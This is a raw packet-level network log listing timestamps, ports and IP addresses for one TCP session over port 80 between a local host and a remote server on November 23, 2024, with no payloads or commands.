Nov 23, 2024 11:22:16.143373966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.143429041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.144100904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.144196033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.144257069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.145097017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.145148993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.145185947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.145227909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.146121025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.146162033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.146190882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.146239042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.147144079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.147211075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.147227049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.147250891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.148132086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.148184061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.148228884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.148272038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.149116039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.149190903 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.149199009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.149238110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.298866034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.298969984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.298978090 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.299036026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.299206972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.299261093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.299263000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.299315929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.300084114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.300134897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.300215006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.300259113 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.300906897 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.300955057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.301295996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.301307917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.301346064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.302150011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.302196980 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.302211046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.302253008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.302989960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.303040028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.303049088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.303086996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.303925037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.303971052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.303976059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.304009914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.304691076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.304743052 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.304760933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.304800987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.305512905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.305562973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.305641890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.305701971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.306391001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.306437969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.306504965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.306546926 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.307317972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.307368994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.307398081 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.307440996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.308197021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.308242083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.308301926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.308348894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.309005976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.309061050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.309094906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.309140921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.310009003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.310059071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.310132980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.310174942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.310815096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.310861111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.310869932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.310908079 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.311609983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.311656952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.311691046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.311734915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.312498093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.312544107 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.312577963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.312623978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.313390970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.313402891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.313437939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.314260006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.314273119 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.314311028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.315198898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.315243006 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.315444946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.315494061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.315984011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.316028118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.316211939 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.316257000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.316838980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.316885948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.316890001 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.316930056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.317730904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.317778111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.317795038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.317832947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.318639994 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.318686962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.318687916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.318727970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.319665909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.319715023 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.319716930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.319751024 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.320339918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.320383072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.320461988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.320506096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.321170092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.321216106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.321244955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.321286917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.322020054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.322065115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.322093964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.322133064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.322890043 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.322940111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.322966099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.323009014 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.323770046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.323817015 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.323853016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.323894978 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.324657917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.324668884 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.324703932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.325459957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.325515032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.325570107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.325613976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.326371908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.326416016 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.326487064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.326527119 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.327250957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.327263117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.327295065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.327306032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.328223944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.328272104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.328273058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.328309059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.328973055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.329018116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.329109907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.329153061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.329829931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.329871893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.329879045 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.329910040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.330703974 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.330743074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.330763102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.330801010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.331609964 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.331657887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.331712008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.331754923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.332549095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.332576036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.332593918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.332607031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.333336115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.333381891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.333437920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.333484888 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.334314108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.334326029 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.334361076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.335053921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.335093021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.335201979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.335242033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.335927010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.335971117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.336080074 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.336124897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.336793900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.336838007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.336910963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.336954117 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.337629080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.337675095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.337745905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.337788105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.338541985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.338587999 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.338660955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.338706017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.339360952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.339406967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.339509010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.339545012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.340303898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.340352058 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.340466976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.340512037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.341531038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.341573954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.341648102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.341690063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.341991901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.342040062 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.342123032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.342165947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.342829943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.342873096 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.342895985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.342932940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.343727112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.343775034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.343830109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.343872070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.500102997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.500117064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.500216961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.500510931 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.500567913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.500571012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.500612020 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.501430988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.501480103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.501601934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.501647949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.502230883 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.502276897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.502571106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.502624989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.502654076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.502697945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.503421068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.503468037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.503526926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.503571033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.504307032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.504354000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.504468918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.504513979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.505115986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.505161047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.505336046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.505379915 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.505997896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.506046057 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.506066084 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.506103992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.506870031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.506920099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.506999969 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.507045031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.507853985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.507867098 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.507906914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.508606911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.508661032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.508680105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.508722067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.509464025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.509511948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.509620905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.509669065 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.510314941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.510363102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.510387897 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.510428905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.511197090 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.511245012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.511297941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.511347055 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.512051105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.512104034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.512156963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.512197018 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.512949944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.512995958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.513077021 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.513154984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.513812065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.513824940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.513875008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.514782906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.514813900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.514848948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.514895916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.515562057 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.515623093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.515717983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.515769958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.516436100 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.516448975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.516567945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.517263889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.517316103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.517332077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.517378092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.518129110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.518177032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.518234015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.518280983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.519124031 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.519198895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.519229889 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.519278049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.519877911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.519922972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.519977093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.520024061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.520710945 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.520768881 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.521039009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.521097898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.521584988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.521634102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.521644115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.521677017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.522443056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.522509098 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.522556067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.522603035 CET	49765	80	192.168.2.4	31.41.244.11
